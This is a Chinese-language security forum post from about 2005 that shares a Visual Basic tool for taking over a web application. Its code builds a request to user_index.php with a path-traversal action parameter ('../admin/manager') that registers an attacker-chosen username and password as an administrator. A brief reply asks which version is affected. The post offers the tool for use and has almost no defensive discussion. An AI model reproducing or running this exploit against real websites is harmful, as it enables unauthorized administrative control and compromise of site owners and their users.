文章作者：fhod
信息来源：邪恶八进制信息安全团队

玄猫发布的一个漏洞利用工具..后来经过抓包分析..发现其实不用修改管理员密码..直接就可以把注册的用户提升为管理员...接着用VB写了个程序.方便使用.
具体利用程序里有使用说明.

程序主要代码为

复制内容到剪贴板

代码:

Private Sub Command1_Click()
WebBrowser1.Navigate (url.Text + "/user_index.php?action=../admin/manager&job=submit&username=" + user.Text + "&password=" + pass.Text + "&check_pwd=" + pass.Text)
WebBrowser1.Visible = True
End Sub

Private Sub Command2_Click()
End
End Sub

Private Sub shuoming_Click()
Form2.Show
End Sub

以下是程序运行后的截图:

11.jpg (37 KB)

2005-9-28 18:46

22.jpg (33 KB)

2005-9-28 18:46

PS:本人在EST的处女贴~~~

引用:

这里是引用第[3 楼]的starjason于2006-08-29 23:16发表的：


针对什么版本啊?

百度
Powered by PHPWind v3.0.0 [s:35]